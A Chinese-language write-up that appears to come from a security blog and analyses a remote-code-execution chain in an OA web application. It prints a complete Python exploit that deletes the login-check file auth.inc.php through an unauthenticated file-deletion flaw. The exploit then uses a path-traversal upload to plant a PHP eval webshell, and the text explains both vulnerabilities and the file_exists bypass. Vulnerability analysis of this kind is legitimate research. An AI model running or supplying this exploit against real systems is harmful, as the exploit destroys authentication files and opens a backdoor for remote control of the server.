hvv爆出rce按照网上exp进行复现成功获取shell,复现方式自行搜索(很多)
比较好奇 为什么要删除文件
这里从exp着手分析
import requeststarget="http://10.6.6.91:7890/"
payload="<?php eval($_POST['z1feiyu']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url=url)
print("[*]Checking if file deleted...")
url=target+"/inc/auth.inc.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:print("[-]Failed to deleted auth.inc.php")exit(-1)
print("[+]Successfully deleted auth.inc.php!")
print("[*]Uploading payload...")
url=target+"/general/data_center/utils/upload.php?action=upload&filetype=tql&repkid=/.<>./.<>./.<>./"
files = {'FILE1': ('z1feiyu.php', payload)}
requests.post(url=url,files=files)
url=target+"/_z1feiyu.php"
page=requests.get(url=url).text
if 'No input file specified.' not in page:print("[+]Filed Uploaded Successfully")print("[+]URL:",url)
else:print("[-]Failed to upload file")
1、首先这里访问/module/appbuilder/assets/print.php删除了webroot/inc/auth.inc.php
查看webroot/inc/auth.inc.php文件并使用zend解码
解密网址:https://dezend.qiling.org/free
从包含文件可以发现是对登陆的校验文件
2、检查/module/appbuilder/assets/print.php文件 (未授权访问导致产生文件删除漏洞)
这里可以看到 页面获取 guid参数的值
使用file_exists函数判断文件是否存在 并未进行校验 就执行unlink删除文件
3、exp中访问/general/data_center/utils/upload.php文件上传
调用action=upload上传文件
传入不存在的filetype 进入漏洞点
在这里分析的不是很明白仅写出自己的想法
自己的想法:
根据exp构造了上传文件名和内容 {‘FILE1’: (‘z1feiyu.php’, payload)}
同时利用file_exists函数的漏洞构造/.<>./.<>./.<>./ 逃逸出来
也就是说在这里构造访问上传后
file_exists判断存在将文件加_拼接目录移动到根目录下并删除原文件
总体的根据exp分析 首先存在了任意文件删除漏洞
然后删除登陆校验文件,进而导致任意文件上传漏洞
组合之后也就是现在的rce漏洞
file_exists特性绕过参考文章:https://www.freebuf.com/articles/web/53656.html